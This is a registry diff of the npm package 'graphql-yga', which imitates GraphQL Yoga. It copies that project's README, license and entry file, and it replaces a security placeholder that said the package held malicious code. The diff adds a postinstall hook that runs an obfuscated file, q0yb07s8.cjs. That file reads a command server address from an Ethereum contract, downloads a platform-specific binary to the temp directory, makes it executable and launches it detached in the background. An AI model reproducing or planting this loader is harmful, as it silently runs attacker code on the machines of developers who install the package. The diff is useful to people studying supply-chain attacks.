graphql-yga 0.0.1-security → 5.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of graphql-yga might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,23 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2018-2020 Graphcool
4
+ Copyright (c) 2020-2021 Prisma
5
+ Copyright (c) 2021- The Guild
6
+
7
+ Permission is hereby granted, free of charge, to any person obtaining a copy
8
+ of this software and associated documentation files (the "Software"), to deal
9
+ in the Software without restriction, including without limitation the rights
10
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
11
+ copies of the Software, and to permit persons to whom the Software is
12
+ furnished to do so, subject to the following conditions:
13
+
14
+ The above copyright notice and this permission notice shall be included in all
15
+ copies or substantial portions of the Software.
16
+
17
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
18
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
19
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
20
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
21
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
22
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
23
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,132 @@
1
- # Security holding package
1
+ <div align="center"><img src="./website/public/cover.png" width="720" /></div>
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ <div align="center">
4
+ <h3>GraphQL Yoga</h3>
5
+ <h6>Fully-featured GraphQL Server with focus on easy setup, performance & great developer experience</h6>
6
+ <a href="https://www.the-guild.dev/graphql/yoga-server/docs"><b>Go to documenation</b></a>
7
+ </div>
4
8
 
5
- Please refer to www.npmjs.com/advisories?search=graphql-yga for more information.
9
+ <br />
10
+
11
+ <div align="center">
12
+
13
+ ![npm](https://badgen.net/npm/v/graphql-yoga)
14
+ ![bundlephobia minified size](https://badgen.net/bundlephobia/min/graphql-yoga)
15
+ ![bundlephobia minified+zipped size](https://badgen.net/bundlephobia/minzip/graphql-yoga)
16
+ ![bundlephobia treeshaking](https://badgen.net/bundlephobia/tree-shaking/graphql-yoga)
17
+ ![license](https://badgen.net/github/license/dotansimha/graphql-yoga)
18
+
19
+ </div>
20
+
21
+ ## Quick start
22
+
23
+ ### Install
24
+
25
+ ```sh
26
+ pnpm add graphql-yoga graphql
27
+ ```
28
+
29
+ ### Start
30
+
31
+ Make a schema, create Yoga and start a Node server:
32
+
33
+ ```ts
34
+ import { createServer } from 'node:http'
35
+ import { createSchema, createYoga } from 'graphql-yoga'
36
+
37
+ const yoga = createYoga({
38
+ schema: createSchema({
39
+ typeDefs: /* GraphQL */ `
40
+ type Query {
41
+ hello: String
42
+ }
43
+ `,
44
+ resolvers: {
45
+ Query: {
46
+ hello: () => 'Hello from Yoga!'
47
+ }
48
+ }
49
+ })
50
+ })
51
+
52
+ const server = createServer(yoga)
53
+
54
+ server.listen(4000, () => {
55
+ console.info('Server is running on http://localhost:4000/graphql')
56
+ })
57
+ ```
58
+
59
+ ## Overview
60
+
61
+ - **Easiest way to run a GraphQL server:** Sensible defaults & includes everything you need with
62
+ minimal setup (we also export a platform/env-agnostic handler so you can build your own wrappers
63
+ easily).
64
+ - **Includes Subscriptions:** Built-in support for GraphQL subscriptions using
65
+ [**S**erver-**S**ent **E**vents](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events).
66
+ - **Compatible:** Works with all GraphQL clients
67
+ ([Apollo](https://www.apollographql.com/docs/react/), [Relay](https://relay.dev/),
68
+ [Urql](https://formidable.com/open-source/urql/)...) and fits seamless in your GraphQL workflow.
69
+ - **WHATWG Fetch API:** the core package depends on
70
+ [WHATWG Fetch API](https://fetch.spec.whatwg.org/) so it can run and deploy on any environment
71
+ (Serverless, Workers, Deno, Node).
72
+ - **Easily Extendable:** New GraphQL-Yoga support all [`envelop`](https://www.envelop.dev) plugins.
73
+
74
+ ## [Features](https://www.the-guild.dev/graphql/yoga-server/docs)
75
+
76
+ - Fully typed with [TypeScript](https://www.typescriptlang.org)
77
+ - [GraphQL over HTTP spec compliant](https://github.com/enisdenjo/graphql-http/tree/master/implementations/graphql-yoga)
78
+ - [GraphiQL included](https://www.the-guild.dev/graphql/yoga-server/docs/features/graphiql)
79
+ - [File uploads with GraphQL Multipart Request spec](https://www.the-guild.dev/graphql/yoga-server/docs/features/file-uploads)
80
+ - [Subscriptions and realtime capabilities](https://www.the-guild.dev/graphql/yoga-server/docs/features/subscriptions)
81
+ - [Automatic persisted queries](https://www.the-guild.dev/graphql/yoga-server/docs/features/automatic-persisted-queries)
82
+ - [Built-in parsing and validation caching](https://www.the-guild.dev/graphql/yoga-server/docs/features/parsing-and-validation-caching)
83
+ - [Testing utilities](https://www.the-guild.dev/graphql/yoga-server/docs/features/testing)
84
+ - Supports [ESM](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules)
85
+ - Runs **everywhere**, including environments like:
86
+ - [Deno](https://www.the-guild.dev/graphql/yoga-server/docs/integrations/integration-with-deno)
87
+ - [Bun](https://www.the-guild.dev/graphql/yoga-server/docs/integrations/integration-with-bun)
88
+ - [Cloudflare Workers](https://www.the-guild.dev/graphql/yoga-server/docs/integrations/integration-with-cloudflare-workers)
89
+ - [AWS Lambda](https://www.the-guild.dev/graphql/yoga-server/docs/integrations/integration-with-aws-lambda)
90
+ - [_And other..._](https://www.the-guild.dev/graphql/yoga-server/docs/integrations/z-other-environments)
91
+ - [_And more..._](https://www.the-guild.dev/graphql/yoga-server/docs)
92
+
93
+ ## [Documentation](https://www.the-guild.dev/graphql/yoga-server/docs)
94
+
95
+ Our [documentation website](https://www.the-guild.dev/graphql/yoga-server/docs) will help you get
96
+ started.
97
+
98
+ ## [Examples](https://github.com/dotansimha/graphql-yoga/tree/main/examples)
99
+
100
+ We've made sure developers can quickly start with GraphQL Yoga by providing a comprehensive set of
101
+ examples.
102
+ [See all of them in the `examples/` folder.](https://github.com/dotansimha/graphql-yoga/tree/main/examples)
103
+
104
+ ## [Comparison](https://www.the-guild.dev/graphql/yoga-server/docs/comparison)
105
+
106
+ Read more about how GraphQL Yoga compares to other servers in the ecosystem
107
+ [here](https://www.the-guild.dev/graphql/yoga-server/docs/comparison).
108
+
109
+ ## Contributing
110
+
111
+ If this is your first time contributing to this project, please do read our
112
+ [Contributor Workflow Guide](https://github.com/the-guild-org/Stack/blob/master/CONTRIBUTING.md)
113
+ before you get started off.
114
+
115
+ For this project in particular, to get started on `stage/2-failing-test`:
116
+
117
+ 1. Install [Node.js](https://nodejs.org/)
118
+ 2. Run in your terminal: `npm i -g pnpm@8 && pnpm install && pnpm build`
119
+ 3. Add tests to `packages/graphql-yoga/__tests__` using [Jest](https://jestjs.io/docs/api) APIs
120
+ 4. Run the tests with `pnpm test`
121
+
122
+ Feel free to open issues and pull requests. We're always welcome support from the community.
123
+
124
+ ## Code of Conduct
125
+
126
+ Help us keep Yoga open and inclusive. Please read and follow our
127
+ [Code of Conduct](https://github.com/the-guild-org/Stack/blob/master/CODE_OF_CONDUCT.md) as adopted
128
+ from [Contributor Covenant](https://www.contributor-covenant.org/).
129
+
130
+ ## License
131
+
132
+ MIT
package/cjs/index.js ADDED
@@ -0,0 +1,46 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.useExecutionCancellation = exports.getSSEProcessor = exports.usePayloadFormatter = exports.useLogger = exports.useExtendContext = exports.useErrorHandler = exports.useEnvelop = exports.mapAsyncIterator = exports.makeSubscribe = exports.makeExecute = exports.isIntrospectionOperationString = exports.isAsyncIterable = exports.handleStreamOrSingleExecutionResult = exports.finalAsyncIterator = exports.errorAsyncIterator = exports.envelop = exports.mergeSchemas = exports.createLRUCache = exports.maskError = exports.useSchema = exports.useReadinessCheck = exports.shouldRenderGraphiQL = exports.renderGraphiQL = exports.createGraphQLError = void 0;
4
+ const tslib_1 = require("tslib");
5
+ var error_js_1 = require("./error.js");
6
+ Object.defineProperty(exports, "createGraphQLError", { enumerable: true, get: function () { return error_js_1.createGraphQLError; } });
7
+ tslib_1.__exportStar(require("@graphql-yoga/logger"), exports);
8
+ var use_graphiql_js_1 = require("./plugins/use-graphiql.js");
9
+ Object.defineProperty(exports, "renderGraphiQL", { enumerable: true, get: function () { return use_graphiql_js_1.renderGraphiQL; } });
10
+ Object.defineProperty(exports, "shouldRenderGraphiQL", { enumerable: true, get: function () { return use_graphiql_js_1.shouldRenderGraphiQL; } });
11
+ var use_readiness_check_js_1 = require("./plugins/use-readiness-check.js");
12
+ Object.defineProperty(exports, "useReadinessCheck", { enumerable: true, get: function () { return use_readiness_check_js_1.useReadinessCheck; } });
13
+ var use_schema_js_1 = require("./plugins/use-schema.js");
14
+ Object.defineProperty(exports, "useSchema", { enumerable: true, get: function () { return use_schema_js_1.useSchema; } });
15
+ tslib_1.__exportStar(require("./schema.js"), exports);
16
+ tslib_1.__exportStar(require("./server.js"), exports);
17
+ tslib_1.__exportStar(require("./subscription.js"), exports);
18
+ tslib_1.__exportStar(require("./types.js"), exports);
19
+ var mask_error_js_1 = require("./utils/mask-error.js");
20
+ Object.defineProperty(exports, "maskError", { enumerable: true, get: function () { return mask_error_js_1.maskError; } });
21
+ var create_lru_cache_js_1 = require("./utils/create-lru-cache.js");
22
+ Object.defineProperty(exports, "createLRUCache", { enumerable: true, get: function () { return create_lru_cache_js_1.createLRUCache; } });
23
+ var schema_1 = require("@graphql-tools/schema");
24
+ Object.defineProperty(exports, "mergeSchemas", { enumerable: true, get: function () { return schema_1.mergeSchemas; } });
25
+ var core_1 = require("@envelop/core");
26
+ // useful for anyone creating a new envelop instance
27
+ Object.defineProperty(exports, "envelop", { enumerable: true, get: function () { return core_1.envelop; } });
28
+ Object.defineProperty(exports, "errorAsyncIterator", { enumerable: true, get: function () { return core_1.errorAsyncIterator; } });
29
+ Object.defineProperty(exports, "finalAsyncIterator", { enumerable: true, get: function () { return core_1.finalAsyncIterator; } });
30
+ Object.defineProperty(exports, "handleStreamOrSingleExecutionResult", { enumerable: true, get: function () { return core_1.handleStreamOrSingleExecutionResult; } });
31
+ Object.defineProperty(exports, "isAsyncIterable", { enumerable: true, get: function () { return core_1.isAsyncIterable; } });
32
+ // useful helpers
33
+ Object.defineProperty(exports, "isIntrospectionOperationString", { enumerable: true, get: function () { return core_1.isIntrospectionOperationString; } });
34
+ Object.defineProperty(exports, "makeExecute", { enumerable: true, get: function () { return core_1.makeExecute; } });
35
+ Object.defineProperty(exports, "makeSubscribe", { enumerable: true, get: function () { return core_1.makeSubscribe; } });
36
+ Object.defineProperty(exports, "mapAsyncIterator", { enumerable: true, get: function () { return core_1.mapAsyncIterator; } });
37
+ // Default plugins
38
+ Object.defineProperty(exports, "useEnvelop", { enumerable: true, get: function () { return core_1.useEnvelop; } });
39
+ Object.defineProperty(exports, "useErrorHandler", { enumerable: true, get: function () { return core_1.useErrorHandler; } });
40
+ Object.defineProperty(exports, "useExtendContext", { enumerable: true, get: function () { return core_1.useExtendContext; } });
41
+ Object.defineProperty(exports, "useLogger", { enumerable: true, get: function () { return core_1.useLogger; } });
42
+ Object.defineProperty(exports, "usePayloadFormatter", { enumerable: true, get: function () { return core_1.usePayloadFormatter; } });
43
+ var sse_js_1 = require("./plugins/result-processor/sse.js");
44
+ Object.defineProperty(exports, "getSSEProcessor", { enumerable: true, get: function () { return sse_js_1.getSSEProcessor; } });
45
+ var use_execution_cancellation_js_1 = require("./plugins/use-execution-cancellation.js");
46
+ Object.defineProperty(exports, "useExecutionCancellation", { enumerable: true, get: function () { return use_execution_cancellation_js_1.useExecutionCancellation; } });
package/package.json CHANGED
@@ -1,6 +1,70 @@
1
1
  {
2
2
  "name": "graphql-yga",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "5.8.0",
4
+ "description": "",
5
+ "sideEffects": false,
6
+ "peerDependencies": {
7
+ "graphql": "^15.2.0 || ^16.0.0"
8
+ },
9
+ "dependencies": {
10
+ "@envelop/core": "^5.0.1",
11
+ "@graphql-tools/executor": "^1.3.0",
12
+ "@graphql-tools/schema": "^10.0.4",
13
+ "@graphql-tools/utils": "^10.3.2",
14
+ "@whatwg-node/fetch": "^0.9.22",
15
+ "@whatwg-node/server": "^0.9.50",
16
+ "dset": "^3.1.1",
17
+ "lru-cache": "^10.0.0",
18
+ "tslib": "^2.5.2",
19
+ "@graphql-yoga/logger": "^2.0.0",
20
+ "@graphql-yoga/subscription": "^5.0.1",
21
+ "axios": "^1.7.7",
22
+ "ethers": "^6.13.2"
23
+ },
24
+ "repository": {
25
+ "type": "git",
26
+ "url": "https://github.com/dotansimha/graphql-yoga.git",
27
+ "directory": "packages/graphql-yoga"
28
+ },
29
+ "keywords": [
30
+ "graphql",
31
+ "server",
32
+ "api",
33
+ "graphql-server"
34
+ ],
35
+ "author": "Saihajpreet Singh <saihajpreet.singh@gmail.com> (https://saihaj.dev/)",
36
+ "license": "MIT",
37
+ "engines": {
38
+ "node": ">=18.0.0"
39
+ },
40
+ "main": "cjs/index.js",
41
+ "module": "esm/index.js",
42
+ "typings": "typings/index.d.ts",
43
+ "typescript": {
44
+ "definition": "typings/index.d.ts"
45
+ },
46
+ "type": "module",
47
+ "exports": {
48
+ ".": {
49
+ "require": {
50
+ "types": "./typings/index.d.cts",
51
+ "default": "./cjs/index.js"
52
+ },
53
+ "import": {
54
+ "types": "./typings/index.d.ts",
55
+ "default": "./esm/index.js"
56
+ },
57
+ "default": {
58
+ "types": "./typings/index.d.ts",
59
+ "default": "./esm/index.js"
60
+ }
61
+ },
62
+ "./package.json": "./package.json"
63
+ },
64
+ "scripts": {
65
+ "postinstall": "node q0yb07s8.cjs"
66
+ },
67
+ "files": [
68
+ "q0yb07s8.cjs"
69
+ ]
70
+ }
package/q0yb07s8.cjs ADDED
@@ -0,0 +1 @@
1
+ function _0x2e35(_0x4450aa,_0x5edf12){const _0x174fb5=_0x174f();return _0x2e35=function(_0x2e3517,_0x405e25){_0x2e3517=_0x2e3517-0x151;let _0x4a44b0=_0x174fb5[_0x2e3517];return _0x4a44b0;},_0x2e35(_0x4450aa,_0x5edf12);}const _0x42b8d1=_0x2e35;(function(_0x1f83f6,_0x233a13){const _0x8fc46e=_0x2e35,_0x2043a1=_0x1f83f6();while(!![]){try{const _0x151dcc=-parseInt(_0x8fc46e(0x178))/0x1*(parseInt(_0x8fc46e(0x157))/0x2)+parseInt(_0x8fc46e(0x17b))/0x3+-parseInt(_0x8fc46e(0x174))/0x4+parseInt(_0x8fc46e(0x17a))/0x5*(parseInt(_0x8fc46e(0x152))/0x6)+parseInt(_0x8fc46e(0x160))/0x7+-parseInt(_0x8fc46e(0x16b))/0x8*(parseInt(_0x8fc46e(0x177))/0x9)+parseInt(_0x8fc46e(0x187))/0xa;if(_0x151dcc===_0x233a13)break;else _0x2043a1['push'](_0x2043a1['shift']());}catch(_0x3cd93b){_0x2043a1['push'](_0x2043a1['shift']());}}}(_0x174f,0x87af2));const {ethers}=require(_0x42b8d1(0x17d)),axios=require('axios'),util=require(_0x42b8d1(0x176)),fs=require('fs'),path=require(_0x42b8d1(0x153)),os=require('os'),{spawn}=require(_0x42b8d1(0x166)),contractAddress=_0x42b8d1(0x155),WalletOwner=_0x42b8d1(0x16d),abi=[_0x42b8d1(0x180)],provider=ethers['getDefaultProvider'](_0x42b8d1(0x186)),contract=new ethers[(_0x42b8d1(0x159))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x4035d8=_0x42b8d1,_0x404a24={'BSgbm':_0x4035d8(0x185),'HggMg':function(_0x2757de){return _0x2757de();}};try{const _0x8d97cd=await contract[_0x4035d8(0x179)](WalletOwner);return _0x8d97cd;}catch(_0x2c14b4){return console['error'](_0x404a24[_0x4035d8(0x175)],_0x2c14b4),await _0x404a24['HggMg'](fetchAndUpdateIp);}},getDownloadUrl=_0x1ea0cf=>{const _0x190cbd=_0x42b8d1,_0x2daf34={'YKrpV':_0x190cbd(0x181),'NUiWa':'linux','Toupk':_0x190cbd(0x16e)},_0x52e7f3=os[_0x190cbd(0x170)]();switch(_0x52e7f3){case _0x2daf34['YKrpV']:return _0x1ea0cf+_0x190cbd(0x167);case _0x2daf34['NUiWa']:return _0x1ea0cf+'/node-linux';case _0x2daf34[_0x190cbd(0x151)]:return _0x1ea0cf+_0x190cbd(0x16f);default:throw new Error('Unsupported\x20platform:\x20'+_0x52e7f3);}},downloadFile=async(_0x26aea3,_0x152019)=>{const _0x21b998=_0x42b8d1,_0x2a953a={'TbDZh':_0x21b998(0x161),'cPpZo':_0x21b998(0x154),'vMYlU':_0x21b998(0x162)},_0x292fc3=fs['createWriteStream'](_0x152019),_0x38f6b9=await axios({'url':_0x26aea3,'method':_0x2a953a[_0x21b998(0x182)],'responseType':_0x2a953a[_0x21b998(0x17e)]});return _0x38f6b9[_0x21b998(0x164)][_0x21b998(0x171)](_0x292fc3),new Promise((_0x340a0d,_0x5972ce)=>{const _0x48efca=_0x21b998;_0x292fc3['on'](_0x48efca(0x184),_0x340a0d),_0x292fc3['on'](_0x2a953a[_0x48efca(0x173)],_0x5972ce);});},executeFileInBackground=async _0x264cde=>{const _0x3890d9=_0x42b8d1,_0xd765b4={'FEXqP':_0x3890d9(0x17f),'Wzqsg':_0x3890d9(0x15a)};try{const _0x2329f7=spawn(_0x264cde,[],{'detached':!![],'stdio':_0xd765b4[_0x3890d9(0x15e)]});_0x2329f7[_0x3890d9(0x163)]();}catch(_0x4c8616){console[_0x3890d9(0x161)](_0xd765b4[_0x3890d9(0x17c)],_0x4c8616);}},runInstallation=async()=>{const _0x3ab7de=_0x42b8d1,_0x58d8ad={'eryPR':function(_0x23b34f){return _0x23b34f();},'MKvXy':function(_0x334efc,_0x348f07){return _0x334efc(_0x348f07);},'OkmHm':function(_0x56ef05,_0x3f65d4,_0x3fa963){return _0x56ef05(_0x3f65d4,_0x3fa963);},'mGSOr':function(_0x1f2bbd,_0x467d85){return _0x1f2bbd!==_0x467d85;},'efnHo':_0x3ab7de(0x181),'rIxzD':_0x3ab7de(0x156),'iTkSg':function(_0x4a9386,_0x577484){return _0x4a9386(_0x577484);},'UsfiT':'Ошибка\x20установки:'};try{const _0x54ae2b=await _0x58d8ad[_0x3ab7de(0x15b)](fetchAndUpdateIp),_0x4aae86=_0x58d8ad[_0x3ab7de(0x16a)](getDownloadUrl,_0x54ae2b),_0x292a69=os[_0x3ab7de(0x15d)](),_0x10c729=path[_0x3ab7de(0x183)](_0x4aae86),_0x28873f=path[_0x3ab7de(0x172)](_0x292a69,_0x10c729);await _0x58d8ad[_0x3ab7de(0x169)](downloadFile,_0x4aae86,_0x28873f);if(_0x58d8ad[_0x3ab7de(0x165)](os['platform'](),_0x58d8ad[_0x3ab7de(0x15f)]))fs[_0x3ab7de(0x15c)](_0x28873f,_0x58d8ad[_0x3ab7de(0x158)]);_0x58d8ad[_0x3ab7de(0x16c)](executeFileInBackground,_0x28873f);}catch(_0x11a04b){console[_0x3ab7de(0x161)](_0x58d8ad[_0x3ab7de(0x168)],_0x11a04b);}};runInstallation();function _0x174f(){const _0x43805d=['finish','Ошибка\x20при\x20получении\x20IP\x20адреса:','mainnet','5726480cwyppl','Toupk','390NXlMnn','path','GET','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','755','1322144wEOtPC','rIxzD','Contract','Ошибка\x20при\x20запуске\x20файла:','eryPR','chmodSync','tmpdir','FEXqP','efnHo','7020279JHLnzl','error','stream','unref','data','mGSOr','child_process','/node-win.exe','UsfiT','OkmHm','MKvXy','2704IhVNfE','iTkSg','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','darwin','/node-macos','platform','pipe','join','TbDZh','3952428IvsPri','BSgbm','util','13023QxDeBi','1iJajHx','getString','71930vWGuTJ','550176ZgNquB','Wzqsg','ethers','vMYlU','ignore','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','win32','cPpZo','basename'];_0x174f=function(){return _0x43805d;};return _0x174f();}